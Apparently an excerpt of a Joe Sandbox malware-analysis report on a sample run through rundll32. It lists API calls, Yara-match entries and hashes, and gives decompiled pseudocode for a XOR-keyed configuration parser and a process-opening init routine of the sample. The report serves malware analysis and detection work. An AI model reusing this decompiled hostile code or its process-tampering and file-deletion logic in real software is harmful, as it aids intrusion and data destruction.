                          • HeapFree.KERNEL32(00000000,?,?,?,?,7620F710,00000000,00000000), ref: 04CBB5DF
                            • Part of subcall function 04CBD4DA: lstrlen.KERNEL32(?,00000000,761B6980,00000000,04CBDA7B,?), ref: 04CBD4E3
                            • Part of subcall function 04CBD4DA: memcpy.NTDLL(00000000,?,00000000,?), ref: 04CBD506
                            • Part of subcall function 04CBD4DA: memset.NTDLL ref: 04CBD515
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Free$CriticalCurrentSectionThreadmemset$AllocateEnterLeavelstrlenmemcpy
                          • String ID:
                          • API String ID: 3296958911-0
                          • Opcode ID: a5b248fde01199aaaa6c0e79ccb7105f30be01970aefa3579ec717659e1a46a5
                          • Instruction ID: 98e099db151b56a5d67ff48be9dd90b9704df6855f8ed9247ff277b04dc6b7c8
                          • Opcode Fuzzy Hash: a5b248fde01199aaaa6c0e79ccb7105f30be01970aefa3579ec717659e1a46a5
                          • Instruction Fuzzy Hash: 89F1C6B9B11215AFDB10EF75D884AEF33EBEB08240B154924E981D7500FA38FE459BE5
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB10C7 Relevance: 16.6, APIs: 11, Instructions: 130libraryloadernativeCOMMON
                          Download Yara Rule
                          APIs
                          • OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 04CB10FA
                          • GetLastError.KERNEL32 ref: 04CB1108
                          • NtSetInformationProcess.NTDLL ref: 04CB1162
                          • GetProcAddress.KERNEL32(?,00000000), ref: 04CB11A1
                          • GetProcAddress.KERNEL32(?), ref: 04CB11C2
                          • TerminateThread.KERNEL32(?,00000000,?,00000004,00000000), ref: 04CB1219
                          • CloseHandle.KERNEL32(?), ref: 04CB122F
                          • CloseHandle.KERNEL32(?), ref: 04CB1255
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: AddressCloseHandleProcProcess$ErrorInformationLastOpenTerminateThread
                          • String ID:
                          • API String ID: 3529370251-0
                          • Opcode ID: 9e2b71a4596a00bae13faef53e67a25cbd76615c53fa36d1b12ab6a439515350
                          • Instruction ID: f64c10877b810a34831cb80d2d51bd24dd8890ca50057ec80dc26b877f0c4076
                          • Opcode Fuzzy Hash: 9e2b71a4596a00bae13faef53e67a25cbd76615c53fa36d1b12ab6a439515350
                          • Instruction Fuzzy Hash: 5341A078104345EFD7019F21D848BABBBF6FB88348F08492DF695D2250DB75EA48CB92
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBFD47 Relevance: 16.6, APIs: 11, Instructions: 94memorystringsynchronizationCOMMON
                          Download Yara Rule
                          APIs
                          • wcscpy.NTDLL ref: 04CBFD7B
                          • GetLogicalDriveStringsW.KERNEL32(00000000,00000000), ref: 04CBFD87
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CBFD98
                          • memset.NTDLL ref: 04CBFDB5
                          • GetLogicalDriveStringsW.KERNEL32(?,?), ref: 04CBFDC3
                          • WaitForSingleObject.KERNEL32(00000000), ref: 04CBFDD1
                          • GetDriveTypeW.KERNEL32(?), ref: 04CBFDDF
                          • lstrlenW.KERNEL32(?), ref: 04CBFDEB
                          • wcscpy.NTDLL ref: 04CBFDFD
                          • lstrlenW.KERNEL32(?), ref: 04CBFE17
                          • HeapFree.KERNEL32(00000000,?), ref: 04CBFE30
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Drive$HeapLogicalStringslstrlenwcscpy$AllocateFreeObjectSingleTypeWaitmemset
                          • String ID:
                          • API String ID: 3888849384-0
                          • Opcode ID: 8ba9a4fcf2cfd0fa482083d7b203878055e40bed4714fffda747c0942f4f358b
                          • Instruction ID: 831f36b4fc158d7d831c34d3fa5d38cd743c4fbacb83d9974422a206f0fe0518
                          • Opcode Fuzzy Hash: 8ba9a4fcf2cfd0fa482083d7b203878055e40bed4714fffda747c0942f4f358b
                          • Instruction Fuzzy Hash: 61312F7A80110CFFDB11AFA4DC84DEEBBBDEB08354B10446AF541E2111E739AE559BA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB99BC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109filestringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlenW.KERNEL32(?,00000000), ref: 04CB99D4
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • FindFirstFileW.KERNEL32(?,00000000,?,0000000A,00000208), ref: 04CB9A3D
                          • lstrlenW.KERNEL32(0000002C,?,0000000A,00000208), ref: 04CB9A65
                          • RemoveDirectoryW.KERNEL32(?,?,0000000A,00000208), ref: 04CB9AB7
                          • DeleteFileW.KERNEL32(?,?,0000000A,00000208), ref: 04CB9AC2
                          • FindNextFileW.KERNEL32(?,00000000,?,0000000A,00000208), ref: 04CB9AD5
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: File$Findlstrlen$AllocateDeleteDirectoryFirstHeapNextRemove
                          • String ID:
                          • API String ID: 499515686-3916222277
                          • Opcode ID: 8c9d41bb66314f4af1fe5b2d4c43b8af90316ee9f8b7ddbaac9058460b1cc0e7
                          • Instruction ID: 09ab10b72f9cf4fdd236f7f1109742f1e6754a2e053e94aa49f8c16a8e32e7a9
                          • Opcode Fuzzy Hash: 8c9d41bb66314f4af1fe5b2d4c43b8af90316ee9f8b7ddbaac9058460b1cc0e7
                          • Instruction Fuzzy Hash: 2E411BB5900219FFDF119FA4CC88BEE7BBAEF00304F144465E651A61A0EB74AB44EBD0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBEC00 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 87registrylibraryloaderCOMMON
                          Download Yara Rule
                          APIs
                          • RegOpenKeyA.ADVAPI32(80000002,Software\Microsoft\WAB\DLLPath,00000001), ref: 04CBEC1B
                          • RegCloseKey.ADVAPI32(00000001,?,00000008,?,00000001), ref: 04CBECD3
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • LoadLibraryA.KERNEL32(00000000,?,00000008,?,00000001), ref: 04CBEC69
                          • GetProcAddress.KERNEL32(00000000,?), ref: 04CBEC82
                          • GetLastError.KERNEL32(?,00000008,?,00000001), ref: 04CBECA1
                          • FreeLibrary.KERNEL32(00000000,?,00000008,?,00000001), ref: 04CBECB3
                          • GetLastError.KERNEL32(?,00000008,?,00000001), ref: 04CBECBB
                          Strings
                          • Software\Microsoft\WAB\DLLPath, xrefs: 04CBEC0C
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ErrorLastLibrary$AddressAllocateCloseFreeHeapLoadOpenProc
                          • String ID: Software\Microsoft\WAB\DLLPath
                          • API String ID: 1628847533-3156921957
                          • Opcode ID: c26e40027aba69881ae071cf1b1894b9c8cab2abbd56e6e77d3ec7d9377a5b3e
                          • Instruction ID: 4271446a272f8d3c14c1c2192c8574beb54c3e444d2289decc2b82ca20ac4ae3
                          • Opcode Fuzzy Hash: c26e40027aba69881ae071cf1b1894b9c8cab2abbd56e6e77d3ec7d9377a5b3e
                          • Instruction Fuzzy Hash: AD218675900528FFDB22AFA9DC88DEEBF7AEB44751F144161F942A2210E6356E40DBD0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C71645 Relevance: 12.3, APIs: 8, Instructions: 258memoryCOMMONCrypto
                          Download Yara Rule
                          C-Code - Quality: 93%
                          			E04C71645(void* __ebx, int* __ecx, void* __edi, void* __esi) {
				int _v8;
				void* _v12;
				void* _v16;
				signed int _t28;
				signed int _t33;
				signed int _t39;
				char* _t45;
				char* _t46;
				char* _t47;
				char* _t48;
				char* _t49;
				char* _t50;
				void* _t51;
				void* _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				signed int _t61;
				intOrPtr _t64;
				signed int _t65;
				signed int _t70;
				void* _t72;
				void* _t73;
				signed int _t75;
				signed int _t78;
				signed int _t82;
				signed int _t86;
				signed int _t90;
				signed int _t94;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t115;
				void* _t118;
				intOrPtr _t121;

				_t118 = __esi;
				_t115 = __edi;
				_t104 = __ecx;
				_t101 = __ebx;
				_t28 =  *0x4c7a344; // 0x69b25f44
				if(E04C77780( &_v8,  &_v12, _t28 ^ 0x889a0120) != 0 && _v12 >= 0x110) {
					 *0x4c7a378 = _v8;
				}
				_t33 =  *0x4c7a344; // 0x69b25f44
				if(E04C77780( &_v16,  &_v12, _t33 ^ 0x0159e6c7) == 0) {
					_v12 = 2;
					L69:
					return _v12;
				}
				_t39 =  *0x4c7a344; // 0x69b25f44
				_push(_t115);
				if(E04C77780( &_v12,  &_v8, _t39 ^ 0xe60382a5) == 0) {
					L67:
					HeapFree( *0x4c7a2d8, 0, _v16);
					goto L69;
				} else {
					_push(_t101);
					_t102 = _v12;
					if(_t102 == 0) {
						_t45 = 0;
					} else {
						_t98 =  *0x4c7a344; // 0x69b25f44
						_t45 = E04C75450(_t104, _t102, _t98 ^ 0x7895433b);
					}
					_push(_t118);
					if(_t45 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t45, 0,  &_v8) != 0) {
							 *0x4c7a2e0 = _v8;
						}
					}
					if(_t102 == 0) {
						_t46 = 0;
					} else {
						_t94 =  *0x4c7a344; // 0x69b25f44
						_t46 = E04C75450(_t104, _t102, _t94 ^ 0x219b08c7);
					}
					if(_t46 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t46, 0,  &_v8) != 0) {
							 *0x4c7a2e4 = _v8;
						}
					}
					if(_t102 == 0) {
						_t47 = 0;
					} else {
						_t90 =  *0x4c7a344; // 0x69b25f44
						_t47 = E04C75450(_t104, _t102, _t90 ^ 0x31fc0661);
					}
					if(_t47 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t47, 0,  &_v8) != 0) {
							 *0x4c7a2e8 = _v8;
						}
					}
					if(_t102 == 0) {
						_t48 = 0;
					} else {
						_t86 =  *0x4c7a344; // 0x69b25f44
						_t48 = E04C75450(_t104, _t102, _t86 ^ 0x0cd926ce);
					}
					if(_t48 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t48, 0,  &_v8) != 0) {
							 *0x4c7a004 = _v8;
						}
					}
					if(_t102 == 0) {
						_t49 = 0;
					} else {
						_t82 =  *0x4c7a344; // 0x69b25f44
						_t49 = E04C75450(_t104, _t102, _t82 ^ 0x3cd8b2cb);
					}
					if(_t49 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t49, 0,  &_v8) != 0) {
							 *0x4c7a02c = _v8;
						}
					}
					if(_t102 == 0) {
						_t50 = 0;
					} else {
						_t78 =  *0x4c7a344; // 0x69b25f44
						_t50 = E04C75450(_t104, _t102, _t78 ^ 0x2878b929);
					}
					if(_t50 == 0) {
						L41:
						 *0x4c7a2ec = 5;
						goto L42;
					} else {
						_t104 =  &_v8;
						if(StrToIntExA(_t50, 0,  &_v8) == 0 || _v8 == 0) {
							goto L41;
						} else {
							L42:
							if(_t102 == 0) {
								_t51 = 0;
							} else {
								_t75 =  *0x4c7a344; // 0x69b25f44
								_t51 = E04C75450(_t104, _t102, _t75 ^ 0x261a367a);
							}
							if(_t51 != 0) {
								_push(_t51);
								_t72 = 0x10;
								_t73 = E04C72FBC(_t72);
								if(_t73 != 0) {
									_push(_t73);
									E04C772C7();
								}
							}
							if(_t102 == 0) {
								_t52 = 0;
							} else {
								_t70 =  *0x4c7a344; // 0x69b25f44
								_t52 = E04C75450(_t104, _t102, _t70 ^ 0xb9d404b2);
							}
							if(_t52 != 0 && E04C72FBC(0, _t52) != 0) {
								_t121 =  *0x4c7a3cc; // 0x52495b0
								E04C7765B(_t121 + 4, _t68);
							}
							if(_t102 == 0) {
								_t53 = 0;
							} else {
								_t65 =  *0x4c7a344; // 0x69b25f44
								_t53 = E04C75450(_t104, _t102, _t65 ^ 0x3df17130);
							}
							if(_t53 == 0) {
								L59:
								_t54 =  *0x4c7a348; // 0x5cd5a8
								_t22 = _t54 + 0x4c7b252; // 0x616d692f
								 *0x4c7a374 = _t22;
								goto L60;
							} else {
								_t64 = E04C72FBC(0, _t53);
								 *0x4c7a374 = _t64;
								if(_t64 != 0) {
									L60:
									if(_t102 == 0) {
										_t56 = 0;
									} else {
										_t61 =  *0x4c7a344; // 0x69b25f44
										_t56 = E04C75450(_t104, _t102, _t61 ^ 0xd2079859);
									}
									if(_t56 == 0) {
										_t57 =  *0x4c7a348; // 0x5cd5a8
										_t23 = _t57 + 0x4c7b79e; // 0x6976612e
										_t58 = _t23;
									} else {
										_t58 = E04C72FBC(0, _t56);
									}
									 *0x4c7a3e0 = _t58;
									HeapFree( *0x4c7a2d8, 0, _t102);
									_v12 = 0;
									goto L67;
								}
								goto L59;
							}
						}
					}
				}
			}








































                          0x04c71645
                          0x04c71645
                          0x04c71645
                          0x04c71645
                          0x04c71648
                          0x04c71665
                          0x04c71673
                          0x04c71673
                          0x04c71678
                          0x04c71692
                          0x04c71900
                          0x04c71907
                          0x04c7190b
                          0x04c7190b
                          0x04c71698
                          0x04c7169d
                          0x04c716b5
                          0x04c718ed
                          0x04c718f7
                          0x00000000
                          0x04c716bb
                          0x04c716bb
                          0x04c716bc
                          0x04c716c1
                          0x04c716d7
                          0x04c716c3
                          0x04c716c3
                          0x04c716d0
                          0x04c716d0
                          0x04c716d9
                          0x04c716e2
                          0x04c716e4
                          0x04c716ee
                          0x04c716f3
                          0x04c716f3
                          0x04c716ee
                          0x04c716fa
                          0x04c71710
                          0x04c716fc
                          0x04c716fc
                          0x04c71709
                          0x04c71709
                          0x04c71714
                          0x04c71716
                          0x04c71720
                          0x04c71725
                          0x04c71725
                          0x04c71720
                          0x04c7172c
                          0x04c71742
                          0x04c7172e
                          0x04c7172e
                          0x04c7173b
                          0x04c7173b
                          0x04c71746
                          0x04c71748
                          0x04c71752
                          0x04c71757
                          0x04c71757
                          0x04c71752
                          0x04c7175e
                          0x04c71774
                          0x04c71760
                          0x04c71760
                          0x04c7176d
                          0x04c7176d
                          0x04c71778
                          0x04c7177a
                          0x04c71784
                          0x04c71789
                          0x04c71789
                          0x04c71784
                          0x04c71790
                          0x04c717a6
                          0x04c71792
                          0x04c71792
                          0x04c7179f
                          0x04c7179f
                          0x04c717aa
                          0x04c717ac
                          0x04c717b6
                          0x04c717bb
                          0x04c717bb
                          0x04c717b6
                          0x04c717c2
                          0x04c717d8
                          0x04c717c4
                          0x04c717c4
                          0x04c717d1
                          0x04c717d1
                          0x04c717dc
                          0x04c717ef
                          0x04c717ef
                          0x00000000
                          0x04c717de
                          0x04c717de
                          0x04c717e8
                          0x00000000
                          0x04c717f9
                          0x04c717f9
                          0x04c717fb
                          0x04c71811
                          0x04c717fd
                          0x04c717fd
                          0x04c7180a
                          0x04c7180a
                          0x04c71815
                          0x04c71817
                          0x04c7181a
                          0x04c7181b
                          0x04c71822
                          0x04c71824
                          0x04c71825
                          0x04c71825
                          0x04c71822
                          0x04c7182c
                          0x04c71842
                          0x04c7182e
                          0x04c7182e
                          0x04c7183b
                          0x04c7183b
                          0x04c71846
                          0x04c71854
                          0x04c7185e
                          0x04c7185e
                          0x04c71866
                          0x04c7187c
                          0x04c71868
                          0x04c71868
                          0x04c71875
                          0x04c71875
                          0x04c71880
                          0x04c71893
                          0x04c71893
                          0x04c71898
                          0x04c7189e
                          0x00000000
                          0x04c71882
                          0x04c71885
                          0x04c7188a
                          0x04c71891
                          0x04c718a3
                          0x04c718a5
                          0x04c718bb
                          0x04c718a7
                          0x04c718a7
                          0x04c718b4
                          0x04c718b4
                          0x04c718bf
                          0x04c718cb
                          0x04c718d0
                          0x04c718d0
                          0x04c718c1
                          0x04c718c4
                          0x04c718c4
                          0x04c718de
                          0x04c718e3
                          0x04c718e9
                          0x00000000
                          0x04c718ec
                          0x00000000
                          0x04c71891
                          0x04c71880
                          0x04c717e8
                          0x04c717dc

                          APIs
                          • StrToIntExA.SHLWAPI(00000000,00000000,?,04C7A00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 04C716EA
                          • StrToIntExA.SHLWAPI(00000000,00000000,?,04C7A00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 04C7171C
                          • StrToIntExA.SHLWAPI(00000000,00000000,?,04C7A00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 04C7174E
                          • StrToIntExA.SHLWAPI(00000000,00000000,?,04C7A00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 04C71780
                          • StrToIntExA.SHLWAPI(00000000,00000000,?,04C7A00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 04C717B2
                          • StrToIntExA.SHLWAPI(00000000,00000000,?,04C7A00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 04C717E4
                          • HeapFree.KERNEL32(00000000,?,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?,?), ref: 04C718E3
                          • HeapFree.KERNEL32(00000000,?,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?,?), ref: 04C718F7
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: FreeHeap
                          • String ID:
                          • API String ID: 3298025750-0
                          • Opcode ID: 614c218dd5b6fdd26adb6aaba20fb1c04dc3a6baeaeb754827c87c6f0e4a83d3
                          • Instruction ID: 25ae8d2dda6fbf3845bcbd8ef47f81a391f383080b6687c943a467b776448ad6
                          • Opcode Fuzzy Hash: 614c218dd5b6fdd26adb6aaba20fb1c04dc3a6baeaeb754827c87c6f0e4a83d3
                          • Instruction Fuzzy Hash: BA816D78A10204AFDB11EFB5D988E6F77EEEB4865472C4925A405D7304FE3AFE449B20
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB65C2 Relevance: 12.1, APIs: 8, Instructions: 111stringfileCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CB8669: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,?,?,?,04CB2028,?), ref: 04CB867A
                            • Part of subcall function 04CB8669: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,00000000,?,?,?,04CB2028,?), ref: 04CB8697
                          • FreeLibrary.KERNEL32(?), ref: 04CB66F8
                            • Part of subcall function 04CCAFC2: lstrlenW.KERNEL32(?,00000000,?,?,?,04CB663D,?,?), ref: 04CCAFCF
                            • Part of subcall function 04CCAFC2: GetCurrentDirectoryW.KERNEL32(00007FFF,00000000,00010012,?,?,?,04CB663D,?,?), ref: 04CCAFF8
                            • Part of subcall function 04CCAFC2: lstrcpyW.KERNEL32(-0000FFFE,?), ref: 04CCB018
                            • Part of subcall function 04CCAFC2: lstrcpyW.KERNEL32(-00000002,?), ref: 04CCB034
                            • Part of subcall function 04CCAFC2: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,04CB663D,?,?), ref: 04CCB040
                            • Part of subcall function 04CCAFC2: LoadLibraryW.KERNEL32(-0000FFFE,?,?,?,?,04CB663D,?,?), ref: 04CCB043
                            • Part of subcall function 04CCAFC2: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,04CB663D,?,?), ref: 04CCB04F
                            • Part of subcall function 04CCAFC2: GetProcAddress.KERNEL32(00000000,?), ref: 04CCB06C
                            • Part of subcall function 04CCAFC2: GetProcAddress.KERNEL32(00000000,?), ref: 04CCB086
                            • Part of subcall function 04CCAFC2: GetProcAddress.KERNEL32(00000000,?), ref: 04CCB09C
                            • Part of subcall function 04CCAFC2: GetProcAddress.KERNEL32(00000000,?), ref: 04CCB0B2
                            • Part of subcall function 04CCAFC2: GetProcAddress.KERNEL32(00000000,?), ref: 04CCB0C8
                            • Part of subcall function 04CCAFC2: GetProcAddress.KERNEL32(00000000,?), ref: 04CCB0DE
                          • FindFirstFileW.KERNEL32(?,?,?,?), ref: 04CB664E
                          • lstrlenW.KERNEL32(?), ref: 04CB666A
                          • lstrlenW.KERNEL32(?), ref: 04CB6682
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • lstrcpyW.KERNEL32(00000000,?), ref: 04CB669B
                          • lstrcpyW.KERNEL32(00000002), ref: 04CB66B0
                            • Part of subcall function 04CD1C9B: lstrlenW.KERNEL32(?,00000000,761F8250,761B69A0,?,?,?,04CB66C0,?,00000000,?), ref: 04CD1CAB
                            • Part of subcall function 04CD1C9B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000001,00000000,00000000,00000001,?,?,?,04CB66C0,?,00000000,?), ref: 04CD1CCD
                            • Part of subcall function 04CD1C9B: lstrcpyW.KERNEL32(00000000,?), ref: 04CD1CF9
                            • Part of subcall function 04CD1C9B: lstrcatW.KERNEL32(00000000,?), ref: 04CD1D0C
                          • FindNextFileW.KERNEL32(?,00000010), ref: 04CB66D8
                          • FindClose.KERNEL32(00000002), ref: 04CB66E6
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: AddressProc$lstrcpy$lstrlen$CurrentDirectoryFind$EnvironmentExpandFileLibraryStrings$AllocateByteCharCloseFirstFreeHeapLoadMultiNextWidelstrcat
                          • String ID:
                          • API String ID: 1209511739-0
                          • Opcode ID: e1f145cfdc56143219e3a3831f334797db01569eed14096925a127ba188d23bf
                          • Instruction ID: e1b3ca07516af40775ff4f376ef48c9cb4c9d9b0f5208d0acf02aa3243bd6482
                          • Opcode Fuzzy Hash: e1f145cfdc56143219e3a3831f334797db01569eed14096925a127ba188d23bf
                          • Instruction Fuzzy Hash: FC415D75505305AFD711EF60D848AAFBBEAFF88B08F04092EF584D2150DB35EA09DB92
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCEAC5 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101COMMON
                          Download Yara Rule
                          APIs
                          • memset.NTDLL ref: 04CCEAE7
                            • Part of subcall function 04CC7950: RtlNtStatusToDosError.NTDLL(00000000), ref: 04CC7988
                            • Part of subcall function 04CC7950: SetLastError.KERNEL32(00000000), ref: 04CC798F
                          • GetLastError.KERNEL32(?,00000318,00000008), ref: 04CCEBF7
                            • Part of subcall function 04CB36BB: RtlNtStatusToDosError.NTDLL(00000000), ref: 04CB36D3
                          • memcpy.NTDLL(00000218,04CD38A0,00000100,?,00010003,?,?,00000318,00000008), ref: 04CCEB76
                          • RtlNtStatusToDosError.NTDLL(00000000), ref: 04CCEBD0
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Error$Status$Last$memcpymemset
                          • String ID:
                          • API String ID: 945571674-3916222277
                          • Opcode ID: 8b8c03c2727746e28732f66f190d07badaaf128104d891f3cf5e0921ca272918
                          • Instruction ID: b37ffa1a453dd043fef09f75e92240e053f9ab2954230afa21b79af2e760a826
                          • Opcode Fuzzy Hash: 8b8c03c2727746e28732f66f190d07badaaf128104d891f3cf5e0921ca272918
                          • Instruction Fuzzy Hash: CF31607590130AAFEB20DF64D999AAAB7BAEB04304F1045BEE54AD7240E730FF449B54
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCD7F1 Relevance: 7.9, APIs: 6, Instructions: 401COMMON
                          Download Yara Rule
                          APIs
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: memset$memcpy
                          • String ID:
                          • API String ID: 368790112-0
                          • Opcode ID: 351318311ec0ccf5a9c3f75e5f06daf64811bf8686f462e09b50afc5c1acdea9
                          • Instruction ID: ae1505a63d75e2dbc60789891961b23da2b137d67b7e09adb728f1c91c05692f
                          • Opcode Fuzzy Hash: 351318311ec0ccf5a9c3f75e5f06daf64811bf8686f462e09b50afc5c1acdea9
                          • Instruction Fuzzy Hash: 82F1DC30600B99CFDB318F69C9946AABBF2BF81304F244DBDD5E786681D631BA45CB10
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C76D78 Relevance: 7.5, APIs: 5, Instructions: 37COMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C76D78(intOrPtr _a4) {
				void* _t2;
				unsigned int _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t15;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x4c7a30c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t15 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x4c7a2fc = _t4;
					_t6 = GetCurrentProcessId();
					 *0x4c7a2f8 = _t6;
					 *0x4c7a304 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x4c7a2f4 = _t7;
					if(_t7 == 0) {
						 *0x4c7a2f4 =  *0x4c7a2f4 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 >> 8 > 0) {
					goto L5;
				}
				_t15 = _t4 - _t4;
				goto L4;
			}









                          0x04c76d80
                          0x04c76d86
                          0x04c76d8d
                          0x00000000
                          0x04c76de7
                          0x04c76d8f
                          0x04c76d97
                          0x04c76da4
                          0x04c76da4
                          0x04c76de4
                          0x00000000
                          0x04c76de4
                          0x04c76da6
                          0x04c76da6
                          0x04c76dab
                          0x04c76dbd
                          0x04c76dc2
                          0x04c76dc8
                          0x04c76dce
                          0x04c76dd5
                          0x04c76dd7
                          0x04c76dd7
                          0x00000000
                          0x04c76dde
                          0x04c76da0
                          0x00000000
                          0x00000000
                          0x04c76da2
                          0x00000000

                          APIs
                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,04C71D07,?), ref: 04C76D80
                          • GetVersion.KERNEL32 ref: 04C76D8F
                          • GetCurrentProcessId.KERNEL32 ref: 04C76DAB
                          • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 04C76DC8
                          • GetLastError.KERNEL32 ref: 04C76DE7
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Process$CreateCurrentErrorEventLastOpenVersion
                          • String ID:
                          • API String ID: 2270775618-0
                          • Opcode ID: 803ebc7bffc6450f9323100647fbf39d42d5b51142be1651ca62e5c9d9115e95
                          • Instruction ID: b67f99432656cbc8cf30184082e2bb1487e2a08f9e59b7a17f825054b4283659
                          • Opcode Fuzzy Hash: 803ebc7bffc6450f9323100647fbf39d42d5b51142be1651ca62e5c9d9115e95
